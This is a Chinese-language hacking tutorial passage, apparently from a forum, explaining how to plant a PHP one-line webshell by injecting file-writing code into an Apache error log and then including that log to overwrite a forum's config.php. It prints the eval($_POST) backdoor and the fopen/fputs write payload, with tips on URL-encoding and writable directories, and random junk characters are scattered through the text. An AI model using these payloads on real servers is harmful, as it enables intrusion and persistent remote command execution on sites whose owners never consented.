因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 7 o, o& ^7 D& f* s7 ?7 A5 ]5 T3 b
% k- L. X4 a/ Q& z9 V& ?: e- V5 b: _比如还是这句一句话木马
: J1 z" ^/ Y R2 Z. ^6 b( D<?eval($_POST[cmd]);?> 7 z+ [5 N; o0 h- O; @
3 K% t7 m! w( N. h r到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
% |. ?* b. ?' R( S3 sfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 ; @! x4 f% h( E z7 ^
9 n2 m' Y1 F" {<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
! M: }# Q- {4 }fclose($fp);?> //在config.php里写入一句木马语句 ( Q& ^- X9 a3 X+ z$ s/ d) X
% ~' E$ b+ I n3 W/ W' P
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

这样就错误日志里就记录下了这行写入webshell的代码。 1 R: ~1 v- T4 L6 T/ ^5 o
我们再来包含日志，提交

3 o/ [4 {, e4 t0 z
这样webshell就写入成功了，config.php里就写入一句木马语句

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
